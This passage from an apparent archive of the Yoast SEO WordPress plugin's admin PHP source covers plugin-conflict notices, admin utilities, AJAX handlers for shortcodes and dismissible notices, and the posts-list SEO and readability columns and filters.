			$error_message = '';
			/* translators: %1$s: 'Facebook & Open Graph' plugin name(s) of possibly conflicting plugin(s), %2$s to Yoast SEO */
			$error_message .= '<p>' . sprintf( __( 'The %1$s plugin might cause issues when used in conjunction with %2$s.', 'wordpress-seo' ), '<em>' . $plugin_name . '</em>', 'Yoast SEO' ) . '</p>';
			$error_message .= '<p>' . sprintf( $readable_plugin_section, 'Yoast SEO', $plugin_name ) . '</p>';

			/* translators: %s: 'Facebook' plugin name of possibly conflicting plugin */
			$error_message .= '<a class="button button-primary" href="' . wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . $plugin_file . '&amp;plugin_status=all', 'deactivate-plugin_' . $plugin_file ) . '">' . sprintf( __( 'Deactivate %s', 'wordpress-seo' ), $this->get_plugin_name( $plugin_file ) ) . '</a> ';

			$identifier = $this->get_notification_identifier( $plugin_file );

			// Add the message to the notifications center.
			$notification_center->add_notification(
				new Yoast_Notification(
					$error_message,
					[
						'type' => Yoast_Notification::ERROR,
						'id'   => 'wpseo-conflict-' . $identifier,
					]
				)
			);
		}
	}

	/**
	 * Clear the notification for a plugin.
	 *
	 * @param string $plugin_file Clear the optional notification for this plugin.
	 *
	 * @return void
	 */
	public function clear_error( $plugin_file ) {
		$identifier = $this->get_notification_identifier( $plugin_file );

		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification_by_id( 'wpseo-conflict-' . $identifier );
	}

	/**
	 * Loop through the $this->plugins to check if one of the plugins is active.
	 *
	 * This method will store the active plugins in $this->active_plugins.
	 *
	 * @return void
	 */
	protected function search_active_plugins() {
		foreach ( $this->plugins as $plugin_section => $plugins ) {
			$this->check_plugins_active( $plugins, $plugin_section );
		}
	}

	/**
	 * Loop through plugins and check if each plugin is active.
	 *
	 * @param array  $plugins        Set of plugins.
	 * @param string $plugin_section Type of conflict group (such as Open Graph or sitemap).
	 *
	 * @return void
	 */
	protected function check_plugins_active( $plugins, $plugin_section ) {
		foreach ( $plugins as $plugin ) {
			if ( $this->check_plugin_is_active( $plugin ) ) {
				$this->add_active_plugin( $plugin_section, $plugin );
			}
		}
	}

	/**
	 * Check if given plugin exists in array with all_active_plugins.
	 *
	 * @param string $plugin Plugin basename string.
	 *
	 * @return bool
	 */
	protected function check_plugin_is_active( $plugin ) {
		return in_array( $plugin, $this->all_active_plugins, true );
	}

	/**
	 * Add plugin to the list of active plugins.
	 *
	 * This method will check first if key $plugin_section exists, if not it will create an empty array
	 * If $plugin itself doesn't exist it will be added.
	 *
	 * @param string $plugin_section Type of conflict group (such as Open Graph or sitemap).
	 * @param string $plugin         Plugin basename string.
	 *
	 * @return void
	 */
	protected function add_active_plugin( $plugin_section, $plugin ) {
		if ( ! array_key_exists( $plugin_section, $this->active_conflicting_plugins ) ) {
			$this->active_conflicting_plugins[ $plugin_section ] = [];
		}

		if ( ! in_array( $plugin, $this->active_conflicting_plugins[ $plugin_section ], true ) ) {
			$this->active_conflicting_plugins[ $plugin_section ][] = $plugin;
		}
	}

	/**
	 * Search in $this->plugins for the given $plugin.
	 *
	 * If there is a result it will return the plugin category.
	 *
	 * @param string $plugin Plugin basename string.
	 *
	 * @return int|string
	 */
	protected function find_plugin_category( $plugin ) {
		foreach ( $this->plugins as $plugin_section => $plugins ) {
			if ( in_array( $plugin, $plugins, true ) ) {
				return $plugin_section;
			}
		}
	}

	/**
	 * Get plugin name from file.
	 *
	 * @param string $plugin Plugin path relative to plugins directory.
	 *
	 * @return string|bool Plugin name or false when no name is set.
	 */
	protected function get_plugin_name( $plugin ) {
		$plugin_details = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );

		if ( $plugin_details['Name'] !== '' ) {
			return $plugin_details['Name'];
		}

		return false;
	}

	/**
	 * When being in the deactivation process the currently deactivated plugin has to be removed.
	 *
	 * @return void
	 */
	private function remove_deactivated_plugin() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: On the deactivation screen the nonce is already checked by WordPress itself.
		if ( ! isset( $_GET['plugin'] ) || ! is_string( $_GET['plugin'] ) ) {
			return;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: On the deactivation screen the nonce is already checked by WordPress itself.
		$deactivated_plugin = sanitize_text_field( wp_unslash( $_GET['plugin'] ) );
		$key_to_remove      = array_search( $deactivated_plugin, $this->all_active_plugins, true );

		if ( $key_to_remove !== false ) {
			unset( $this->all_active_plugins[ $key_to_remove ] );
		}
	}

	/**
	 * Get the identifier from the plugin file.
	 *
	 * @param string $plugin_file Plugin file to get Identifier from.
	 *
	 * @return string
	 */
	private function get_notification_identifier( $plugin_file ) {
		return md5( $plugin_file );
	}
}
wordpress-seo/admin/class-admin-utils.php000064400000004224147510273100014514 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Represents the utils for the admin.
 */
class WPSEO_Admin_Utils {

	/**
	 * Gets the install URL for the passed plugin slug.
	 *
	 * @param string $slug The slug to create an install link for.
	 *
	 * @return string The install URL. Empty string if the current user doesn't have the proper capabilities.
	 */
	public static function get_install_url( $slug ) {
		if ( ! current_user_can( 'install_plugins' ) ) {
			return '';
		}

		return wp_nonce_url(
			self_admin_url( 'update.php?action=install-plugin&plugin=' . dirname( $slug ) ),
			'install-plugin_' . dirname( $slug )
		);
	}

	/**
	 * Gets the activation URL for the passed plugin slug.
	 *
	 * @param string $slug The slug to create an activation link for.
	 *
	 * @return string The activation URL. Empty string if the current user doesn't have the proper capabilities.
	 */
	public static function get_activation_url( $slug ) {
		if ( ! current_user_can( 'install_plugins' ) ) {
			return '';
		}

		return wp_nonce_url(
			self_admin_url( 'plugins.php?action=activate&plugin_status=all&paged=1&s&plugin=' . $slug ),
			'activate-plugin_' . $slug
		);
	}

	/**
	 * Creates a link if the passed plugin is deemend a directly-installable plugin.
	 *
	 * @param array $plugin The plugin to create the link for.
	 *
	 * @return string The link to the plugin install. Returns the title if the plugin is deemed a Premium product.
	 */
	public static function get_install_link( $plugin ) {
		$install_url = self::get_install_url( $plugin['slug'] );

		if ( $install_url === '' || ( isset( $plugin['premium'] ) && $plugin['premium'] === true ) ) {
			return $plugin['title'];
		}

		return sprintf(
			'<a href="%s">%s</a>',
			$install_url,
			$plugin['title']
		);
	}

	/**
	 * Gets a visually hidden accessible message for links that open in a new browser tab.
	 *
	 * @return string The visually hidden accessible message.
	 */
	public static function get_new_tab_message() {
		return sprintf(
			'<span class="screen-reader-text">%s</span>',
			/* translators: Hidden accessibility text. */
			esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' )
		);
	}
}
wordpress-seo/admin/ajax/class-shortcode-filter.php000064400000003067147510273100016472 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Ajax
 */

/**
 * Class WPSEO_Shortcode_Filter.
 *
 * Used for parsing WP shortcodes with AJAX.
 */
class WPSEO_Shortcode_Filter {

	/**
	 * Initialize the AJAX hooks.
	 */
	public function __construct() {
		add_action( 'wp_ajax_wpseo_filter_shortcodes', [ $this, 'do_filter' ] );
	}

	/**
	 * Parse the shortcodes.
	 *
	 * @return void
	 */
	public function do_filter() {
		check_ajax_referer( 'wpseo-filter-shortcodes', 'nonce' );

		if ( ! isset( $_POST['data'] ) || ! is_array( $_POST['data'] ) ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: WPSEO_Utils::format_json_encode is considered safe.
			wp_die( WPSEO_Utils::format_json_encode( [] ) );
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: $shortcodes is getting sanitized later, before it's used.
		$shortcodes        = wp_unslash( $_POST['data'] );
		$parsed_shortcodes = [];

		foreach ( $shortcodes as $shortcode ) {
			if ( $shortcode !== sanitize_text_field( $shortcode ) ) {
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: WPSEO_Utils::format_json_encode is considered safe.
				wp_die( WPSEO_Utils::format_json_encode( [] ) );
			}

			$parsed_shortcodes[] = [
				'shortcode' => $shortcode,
				'output'    => do_shortcode( $shortcode ),
			];
		}

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: WPSEO_Utils::format_json_encode is considered safe.
		wp_die( WPSEO_Utils::format_json_encode( $parsed_shortcodes ) );
	}
}
wordpress-seo/admin/ajax/class-yoast-dismissable-notice.php000064400000003716147510273100020131 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Ajax
 */

/**
 * This class will catch the request to dismiss the target notice (set by notice_name)
 * and will store the dismiss status as an user meta in the database.
 */
class Yoast_Dismissable_Notice_Ajax {

	/**
	 * Notice type toggle value for user notices.
	 *
	 * @var string
	 */
	public const FOR_USER = 'user_meta';

	/**
	 * Notice type toggle value for network notices.
	 *
	 * @var string
	 */
	public const FOR_NETWORK = 'site_option';

	/**
	 * Notice type toggle value for site notices.
	 *
	 * @var string
	 */
	public const FOR_SITE = 'option';

	/**
	 * Name of the notice that will be dismissed.
	 *
	 * @var string
	 */
	private $notice_name;

	/**
	 * The type of the current notice.
	 *
	 * @var string
	 */
	private $notice_type;

	/**
	 * Initialize the hooks for the AJAX request.
	 *
	 * @param string $notice_name The name for the hook to catch the notice.
	 * @param string $notice_type The notice type.
	 */
	public function __construct( $notice_name, $notice_type = self::FOR_USER ) {
		$this->notice_name = $notice_name;
		$this->notice_type = $notice_type;

		add_action( 'wp_ajax_wpseo_dismiss_' . $notice_name, [ $this, 'dismiss_notice' ] );
	}

	/**
	 * Handles the dismiss notice request.
	 *
	 * @return void
	 */
	public function dismiss_notice() {
		check_ajax_referer( 'wpseo-dismiss-' . $this->notice_name );

		$this->save_dismissed();

		wp_die( 'true' );
	}

	/**
	 * Storing the dismissed value in the database. The target location is based on the set notification type.
	 *
	 * @return void
	 */
	private function save_dismissed() {
		if ( $this->notice_type === self::FOR_SITE ) {
			update_option( 'wpseo_dismiss_' . $this->notice_name, 1 );

			return;
		}

		if ( $this->notice_type === self::FOR_NETWORK ) {
			update_site_option( 'wpseo_dismiss_' . $this->notice_name, 1 );

			return;
		}

		update_user_meta( get_current_user_id(), 'wpseo_dismiss_' . $this->notice_name, 1 );
	}
}
wordpress-seo/admin/ajax/class-yoast-plugin-conflict-ajax.php000064400000006662147510273100020374 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Ajax
 */

/**
 * Class Yoast_Plugin_Conflict_Ajax.
 */
class Yoast_Plugin_Conflict_Ajax {

	/**
	 * Option identifier where dismissed conflicts are stored.
	 *
	 * @var string
	 */
	private $option_name = 'wpseo_dismissed_conflicts';

	/**
	 * List of notification identifiers that have been dismissed.
	 *
	 * @var array
	 */
	private $dismissed_conflicts = [];

	/**
	 * Initialize the hooks for the AJAX request.
	 */
	public function __construct() {
		add_action( 'wp_ajax_wpseo_dismiss_plugin_conflict', [ $this, 'dismiss_notice' ] );
	}

	/**
	 * Handles the dismiss notice request.
	 *
	 * @return void
	 */
	public function dismiss_notice() {
		check_ajax_referer( 'dismiss-plugin-conflict' );

		if ( ! isset( $_POST['data'] ) || ! is_array( $_POST['data'] ) ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: WPSEO_Utils::format_json_encode is considered safe.
			wp_die( WPSEO_Utils::format_json_encode( [] ) );
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: $conflict_data is getting sanitized later.
		$conflict_data = wp_unslash( $_POST['data'] );

		$conflict_data = [
			'section' => sanitize_text_field( $conflict_data['section'] ),
			'plugins' => sanitize_text_field( $conflict_data['plugins'] ),
		];

		$this->dismissed_conflicts = $this->get_dismissed_conflicts( $conflict_data['section'] );

		$this->compare_plugins( $conflict_data['plugins'] );

		$this->save_dismissed_conflicts( $conflict_data['section'] );

		wp_die( 'true' );
	}

	/**
	 * Getting the user option from the database.
	 *
	 * @return bool|array
	 */
	private function get_dismissed_option() {
		return get_user_meta( get_current_user_id(), $this->option_name, true );
	}

	/**
	 * Getting the dismissed conflicts from the database
	 *
	 * @param string $plugin_section Type of conflict group (such as Open Graph or sitemap).
	 *
	 * @return array
	 */
	private function get_dismissed_conflicts( $plugin_section ) {
		$dismissed_conflicts = $this->get_dismissed_option();

		if ( is_array( $dismissed_conflicts ) && array_key_exists( $plugin_section, $dismissed_conflicts ) ) {
			return $dismissed_conflicts[ $plugin_section ];
		}

		return [];
	}

	/**
	 * Storing the conflicting plugins as an user option in the database.
	 *
	 * @param string $plugin_section Plugin conflict type (such as Open Graph or sitemap).
	 *
	 * @return void
	 */
	private function save_dismissed_conflicts( $plugin_section ) {
		$dismissed_conflicts = $this->get_dismissed_option();

		$dismissed_conflicts[ $plugin_section ] = $this->dismissed_conflicts;

		update_user_meta( get_current_user_id(), $this->option_name, $dismissed_conflicts );
	}

	/**
	 * Loop through the plugins to compare them with the already stored dismissed plugin conflicts.
	 *
	 * @param array $posted_plugins Plugin set to check.
	 *
	 * @return void
	 */
	public function compare_plugins( array $posted_plugins ) {
		foreach ( $posted_plugins as $posted_plugin ) {
			$this->compare_plugin( $posted_plugin );
		}
	}

	/**
	 * Check if plugin is already dismissed, if not store it in the array that will be saved later.
	 *
	 * @param string $posted_plugin Plugin to check against dismissed conflicts.
	 *
	 * @return void
	 */
	private function compare_plugin( $posted_plugin ) {
		if ( ! in_array( $posted_plugin, $this->dismissed_conflicts, true ) ) {
			$this->dismissed_conflicts[] = $posted_plugin;
		}
	}
}
wordpress-seo/admin/class-meta-columns.php000064400000066501147510273100014700 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Score_Icon_Helper;
use Yoast\WP\SEO\Integrations\Admin\Admin_Columns_Cache_Integration;
use Yoast\WP\SEO\Surfaces\Values\Meta;

/**
 * Class WPSEO_Meta_Columns.
 */
class WPSEO_Meta_Columns {

	/**
	 * Holds the context objects for each indexable.
	 *
	 * @var Meta_Tags_Context[]
	 */
	protected $context = [];

	/**
	 * Holds the SEO analysis.
	 *
	 * @var WPSEO_Metabox_Analysis_SEO
	 */
	private $analysis_seo;

	/**
	 * Holds the readability analysis.
	 *
	 * @var WPSEO_Metabox_Analysis_Readability
	 */
	private $analysis_readability;

	/**
	 * Admin columns cache.
	 *
	 * @var Admin_Columns_Cache_Integration
	 */
	private $admin_columns_cache;

	/**
	 * Holds the Score_Icon_Helper.
	 *
	 * @var Score_Icon_Helper
	 */
	private $score_icon_helper;

	/**
	 * Holds the WPSEO_Admin_Asset_Manager instance.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * When page analysis is enabled, just initialize the hooks.
	 */
	public function __construct() {
		if ( apply_filters( 'wpseo_use_page_analysis', true ) === true ) {
			add_action( 'admin_init', [ $this, 'setup_hooks' ] );
		}

		$this->analysis_seo         = new WPSEO_Metabox_Analysis_SEO();
		$this->analysis_readability = new WPSEO_Metabox_Analysis_Readability();
		$this->admin_columns_cache  = YoastSEO()->classes->get( Admin_Columns_Cache_Integration::class );
		$this->score_icon_helper    = YoastSEO()->helpers->score_icon;
		$this->admin_asset_manager  = YoastSEO()->classes->get( WPSEO_Admin_Asset_Manager::class );
	}

	/**
	 * Sets up up the hooks.
	 *
	 * @return void
	 */
	public function setup_hooks() {
		$this->set_post_type_hooks();

		if ( $this->analysis_seo->is_enabled() ) {
			add_action( 'restrict_manage_posts', [ $this, 'posts_filter_dropdown' ] );
		}

		if ( $this->analysis_readability->is_enabled() ) {
			add_action( 'restrict_manage_posts', [ $this, 'posts_filter_dropdown_readability' ] );
		}

		add_filter( 'request', [ $this, 'column_sort_orderby' ] );
		add_filter( 'default_hidden_columns', [ $this, 'column_hidden' ], 10, 1 );
	}

	/**
	 * Adds the column headings for the SEO plugin for edit posts / pages overview.
	 *
	 * @param array $columns Already existing columns.
	 *
	 * @return array Array containing the column headings.
	 */
	public function column_heading( $columns ) {
		if ( $this->display_metabox() === false ) {
			return $columns;
		}

		$this->admin_asset_manager->enqueue_script( 'edit-page' );
		$this->admin_asset_manager->enqueue_style( 'edit-page' );

		$added_columns = [];

		if ( $this->analysis_seo->is_enabled() ) {
			$added_columns['wpseo-score'] = '<span class="yoast-column-seo-score yoast-column-header-has-tooltip" data-tooltip-text="'
											. esc_attr__( 'SEO score', 'wordpress-seo' )
											. '"><span class="screen-reader-text">'
											. __( 'SEO score', 'wordpress-seo' )
											. '</span></span></span>';
		}

		if ( $this->analysis_readability->is_enabled() ) {
			$added_columns['wpseo-score-readability'] = '<span class="yoast-column-readability yoast-column-header-has-tooltip" data-tooltip-text="'
														. esc_attr__( 'Readability score', 'wordpress-seo' )
														. '"><span class="screen-reader-text">'
														. __( 'Readability score', 'wordpress-seo' )
														. '</span></span></span>';
		}

		$added_columns['wpseo-title']    = __( 'SEO Title', 'wordpress-seo' );
		$added_columns['wpseo-metadesc'] = __( 'Meta Desc.', 'wordpress-seo' );

		if ( $this->analysis_seo->is_enabled() ) {
			$added_columns['wpseo-focuskw'] = __( 'Keyphrase', 'wordpress-seo' );
		}

		return array_merge( $columns, $added_columns );
	}

	/**
	 * Displays the column content for the given column.
	 *
	 * @param string $column_name Column to display the content for.
	 * @param int    $post_id     Post to display the column content for.
	 *
	 * @return void
	 */
	public function column_content( $column_name, $post_id ) {
		if ( $this->display_metabox() === false ) {
			return;
		}

		switch ( $column_name ) {
			case 'wpseo-score':
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Correctly escaped in render_score_indicator() method.
				echo $this->parse_column_score( $post_id );

				return;

			case 'wpseo-score-readability':
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Correctly escaped in render_score_indicator() method.
				echo $this->parse_column_score_readability( $post_id );

				return;

			case 'wpseo-title':
				$meta = $this->get_meta( $post_id );
				if ( $meta ) {
					echo esc_html( $meta->title );
				}

				return;

			case 'wpseo-metadesc':
				$metadesc_val = '';
				$meta         = $this->get_meta( $post_id );
				if ( $meta ) {
					$metadesc_val = $meta->meta_description;
				}
				if ( $metadesc_val === '' ) {
					echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">',
					/* translators: Hidden accessibility text. */
					esc_html__( 'Meta description not set.', 'wordpress-seo' ),
					'</span>';

					return;
				}

				echo esc_html( $metadesc_val );

				return;

			case 'wpseo-focuskw':
				$focuskw_val = WPSEO_Meta::get_value( 'focuskw', $post_id );

				if ( $focuskw_val === '' ) {
					echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">',
					/* translators: Hidden accessibility text. */
					esc_html__( 'Focus keyphrase not set.', 'wordpress-seo' ),
					'</span>';

					return;
				}

				echo esc_html( $focuskw_val );

				return;
		}
	}

	/**
	 * Indicates which of the SEO columns are sortable.
	 *
	 * @param array $columns Appended with their orderby variable.
	 *
	 * @return array Array containing the sortable columns.
	 */
	public function column_sort( $columns ) {
		if ( $this->display_metabox() === false ) {
			return $columns;
		}

		$columns['wpseo-metadesc'] = 'wpseo-metadesc';

		if ( $this->analysis_seo->is_enabled() ) {
			$columns['wpseo-focuskw'] = 'wpseo-focuskw';
			$columns['wpseo-score']   = 'wpseo-score';
		}

		if ( $this->analysis_readability->is_enabled() ) {
			$columns['wpseo-score-readability'] = 'wpseo-score-readability';
		}

		return $columns;
	}

	/**
	 * Hides the SEO title, meta description and focus keyword columns if the user hasn't chosen which columns to hide.
	 *
	 * @param array $hidden The hidden columns.
	 *
	 * @return array Array containing the columns to hide.
	 */
	public function column_hidden( $hidden ) {
		if ( ! is_array( $hidden ) ) {
			$hidden = [];
		}

		array_push( $hidden, 'wpseo-title', 'wpseo-metadesc' );

		if ( $this->analysis_seo->is_enabled() ) {
			$hidden[] = 'wpseo-focuskw';
		}

		return $hidden;
	}

	/**
	 * Adds a dropdown that allows filtering on the posts SEO Quality.
	 *
	 * @return void
	 */
	public function posts_filter_dropdown() {
		if ( ! $this->can_display_filter() ) {
			return;
		}

		$ranks = WPSEO_Rank::get_all_ranks();

		/* translators: Hidden accessibility text. */
		echo '<label class="screen-reader-text" for="wpseo-filter">' . esc_html__( 'Filter by SEO Score', 'wordpress-seo' ) . '</label>';
		echo '<select name="seo_filter" id="wpseo-filter">';

		// phpcs:ignore WordPress.Security.EscapeOutput -- Output is correctly escaped in the generate_option() method.
		echo $this->generate_option( '', __( 'All SEO Scores', 'wordpress-seo' ) );

		foreach ( $ranks as $rank ) {
			$selected = selected( $this->get_current_seo_filter(), $rank->get_rank(), false );

			// phpcs:ignore WordPress.Security.EscapeOutput -- Output is correctly escaped in the generate_option() method.
			echo $this->generate_option( $rank->get_rank(), $rank->get_drop_down_label(), $selected );
		}

		echo '</select>';
	}

	/**
	 * Adds a dropdown that allows filtering on the posts Readability Quality.
	 *
	 * @return void
	 */
	public function posts_filter_dropdown_readability() {
		if ( ! $this->can_display_filter() ) {
			return;
		}

		$ranks = WPSEO_Rank::get_all_readability_ranks();

		/* translators: Hidden accessibility text. */
		echo '<label class="screen-reader-text" for="wpseo-readability-filter">' . esc_html__( 'Filter by Readability Score', 'wordpress-seo' ) . '</label>';
		echo '<select name="readability_filter" id="wpseo-readability-filter">';

		// phpcs:ignore WordPress.Security.EscapeOutput -- Output is correctly escaped in the generate_option() method.
		echo $this->generate_option( '', __( 'All Readability Scores', 'wordpress-seo' ) );

		foreach ( $ranks as $rank ) {
			$selected = selected( $this->get_current_readability_filter(), $rank->get_rank(), false );

			// phpcs:ignore WordPress.Security.EscapeOutput -- Output is correctly escaped in the generate_option() method.
			echo $this->generate_option( $rank->get_rank(), $rank->get_drop_down_readability_labels(), $selected );
		}

		echo '</select>';
	}

	/**
	 * Generates an <option> element.
	 *
	 * @param string $value    The option's value.
	 * @param string $label    The option's label.
	 * @param string $selected HTML selected attribute for an option.
	 *
	 * @return string The generated <option> element.
	 */
	protected function generate_option( $value, $label, $selected = '' ) {
		return '<option ' . $selected . ' value="' . esc_attr( $value ) . '">' . esc_html( $label ) . '</option>';
	}

	/**
	 * Returns the meta object for a given post ID.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return Meta The meta object.
	 */
	protected function get_meta( $post_id ) {
		$indexable = $this->admin_columns_cache->get_indexable( $post_id );

		return YoastSEO()->meta->for_indexable( $indexable, 'Post_Type' );
	}

	/**
	 * Determines the SEO score filter to be later used in the meta query, based on the passed SEO filter.
	 *
	 * @param string $seo_filter The SEO filter to use to determine what further filter to apply.
	 *
	 * @return array The SEO score filter.
	 */
	protected function determine_seo_filters( $seo_filter ) {
		if ( $seo_filter === WPSEO_Rank::NO_FOCUS ) {
			return $this->create_no_focus_keyword_filter();
		}

		if ( $seo_filter === WPSEO_Rank::NO_INDEX ) {
			return $this->create_no_index_filter();
		}

		$rank = new WPSEO_Rank( $seo_filter );

		return $this->create_seo_score_filter( $rank->get_starting_score(), $rank->get_end_score() );
	}

	/**
	 * Determines the Readability score filter to the meta query, based on the passed Readability filter.
	 *
	 * @param string $readability_filter The Readability filter to use to determine what further filter to apply.
	 *
	 * @return array The Readability score filter.
	 */
	protected function determine_readability_filters( $readability_filter ) {
		if ( $readability_filter === WPSEO_Rank::NO_FOCUS ) {
			return $this->create_no_readability_scores_filter();
		}
		if ( $readability_filter === WPSEO_Rank::BAD ) {
			return $this->create_bad_readability_scores_filter();
		}
		$rank = new WPSEO_Rank( $readability_filter );

		return $this->create_readability_score_filter( $rank->get_starting_score(), $rank->get_end_score() );
	}

	/**
	 * Creates a keyword filter for the meta query, based on the passed Keyword filter.
	 *
	 * @param string $keyword_filter The keyword filter to use.
	 *
	 * @return array The keyword filter.
	 */
	protected function get_keyword_filter( $keyword_filter ) {
		return [
			'post_type' => get_query_var( 'post_type', 'post' ),
			'key'       => WPSEO_Meta::$meta_prefix . 'focuskw',
			'value'     => sanitize_text_field( $keyword_filter ),
		];
	}

	/**
	 * Determines whether the passed filter is considered to be valid.
	 *
	 * @param mixed $filter The filter to check against.
	 *
	 * @return bool Whether the filter is considered valid.
	 */
	protected function is_valid_filter( $filter ) {
		return ! empty( $filter ) && is_string( $filter );
	}

	/**
	 * Collects the filters and merges them into a single array.
	 *
	 * @return array Array containing all the applicable filters.
	 */
	protected function collect_filters() {
		$active_filters = [];

		$seo_filter             = $this->get_current_seo_filter();
		$readability_filter     = $this->get_current_readability_filter();
		$current_keyword_filter = $this->get_current_keyword_filter();

		if ( $this->is_valid_filter( $seo_filter ) ) {
			$active_filters = array_merge(
				$active_filters,
				$this->determine_seo_filters( $seo_filter )
			);
		}

		if ( $this->is_valid_filter( $readability_filter ) ) {
			$active_filters = array_merge(
				$active_filters,
				$this->determine_readability_filters( $readability_filter )
			);
		}

		if ( $this->is_valid_filter( $current_keyword_filter ) ) {
			/**
			 * Adapt the meta query used to filter the post overview on keyphrase.
			 *
			 * @internal
			 *
			 * @param array $keyphrase      The keyphrase used in the filter.
			 * @param array $keyword_filter The current keyword filter.
			 */
			$keyphrase_filter = apply_filters(
				'wpseo_change_keyphrase_filter_in_request',
				$this->get_keyword_filter( $current_keyword_filter ),
				$current_keyword_filter
			);

			if ( is_array( $keyphrase_filter ) ) {
				$active_filters = array_merge(
					$active_filters,
					[ $keyphrase_filter ]
				);
			}
		}

		/**
		 * Adapt the active applicable filters on the posts overview.
		 *
		 * @internal
		 *
		 * @param array $active_filters The current applicable filters.
		 */
		return apply_filters( 'wpseo_change_applicable_filters', $active_filters );
	}

	/**
	 * Modify the query based on the filters that are being passed.
	 *
	 * @param array $vars Query variables that need to be modified based on the filters.
	 *
	 * @return array Array containing the meta query to use for filtering the posts overview.
	 */
	public function column_sort_orderby( $vars ) {
		$collected_filters = $this->collect_filters();

		$order_by_column = $vars['orderby'];
		if ( isset( $order_by_column ) ) {
			// Based on the selected column, create a meta query.
			$order_by = $this->filter_order_by( $order_by_column );

			/**
			 * Adapt the order by part of the query on the posts overview.
			 *
			 * @internal
			 *
			 * @param array  $order_by        The current order by.
			 * @param string $order_by_column The current order by column.
			 */
			$order_by = apply_filters( 'wpseo_change_order_by', $order_by, $order_by_column );

			$vars = array_merge( $vars, $order_by );
		}

		return $this->build_filter_query( $vars, $collected_filters );
	}

	/**
	 * Retrieves the meta robots query values to be used within the meta query.
	 *
	 * @return array Array containing the query parameters regarding meta robots.
	 */
	protected function get_meta_robots_query_values() {
		return [
			'relation' => 'OR',
			[
				'key'     => WPSEO_Meta::$meta_prefix . 'meta-robots-noindex',
				'compare' => 'NOT EXISTS',
			],
			[
				'key'     => WPSEO_Meta::$meta_prefix . 'meta-robots-noindex',
				'value'   => '1',
				'compare' => '!=',
			],
		];
	}

	/**
	 * Determines the score filters to be used. If more than one is passed, it created an AND statement for the query.
	 *
	 * @param array $score_filters Array containing the score filters.
	 *
	 * @return array Array containing the score filters that need to be applied to the meta query.
	 */
	protected function determine_score_filters( $score_filters ) {
		if ( count( $score_filters ) > 1 ) {
			return array_merge( [ 'relation' => 'AND' ], $score_filters );
		}

		return $score_filters;
	}

	/**
	 * Retrieves the post type from the $_GET variable.
	 *
	 * @return string|null The sanitized current post type or null when the variable is not set in $_GET.
	 */
	public function get_current_post_type() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['post_type'] ) && is_string( $_GET['post_type'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return sanitize_text_field( wp_unslash( $_GET['post_type'] ) );
		}
		return null;
	}

	/**
	 * Retrieves the SEO filter from the $_GET variable.
	 *
	 * @return string|null The sanitized seo filter or null when the variable is not set in $_GET.
	 */
	public function get_current_seo_filter() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['seo_filter'] ) && is_string( $_GET['seo_filter'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return sanitize_text_field( wp_unslash( $_GET['seo_filter'] ) );
		}
		return null;
	}

	/**
	 * Retrieves the Readability filter from the $_GET variable.
	 *
	 * @return string|null The sanitized readability filter or null when the variable is not set in $_GET.
	 */
	public function get_current_readability_filter() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['readability_filter'] ) && is_string( $_GET['readability_filter'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return sanitize_text_field( wp_unslash( $_GET['readability_filter'] ) );
		}
		return null;
	}

	/**
	 * Retrieves the keyword filter from the $_GET variable.
	 *
	 * @return string|null The sanitized seo keyword filter or null when the variable is not set in $_GET.
	 */
	public function get_current_keyword_filter() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['seo_kw_filter'] ) && is_string( $_GET['seo_kw_filter'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return sanitize_text_field( wp_unslash( $_GET['seo_kw_filter'] ) );
		}
		return null;
	}

	/**
	 * Uses the vars to create a complete filter query that can later be executed to filter out posts.
	 *
	 * @param array $vars    Array containing the variables that will be used in the meta query.
	 * @param array $filters Array containing the filters that we need to apply in the meta query.
	 *
	 * @return array Array containing the complete filter query.
	 */
	protected function build_filter_query( $vars, $filters ) {
		// If no filters were applied, just return everything.
		if ( count( $filters ) === 0 ) {
			return $vars;
		}

		$result               = [ 'meta_query' => [] ];
		$result['meta_query'] = array_merge( $result['meta_query'], [ $this->determine_score_filters( $filters ) ] );

		$current_seo_filter = $this->get_current_seo_filter();

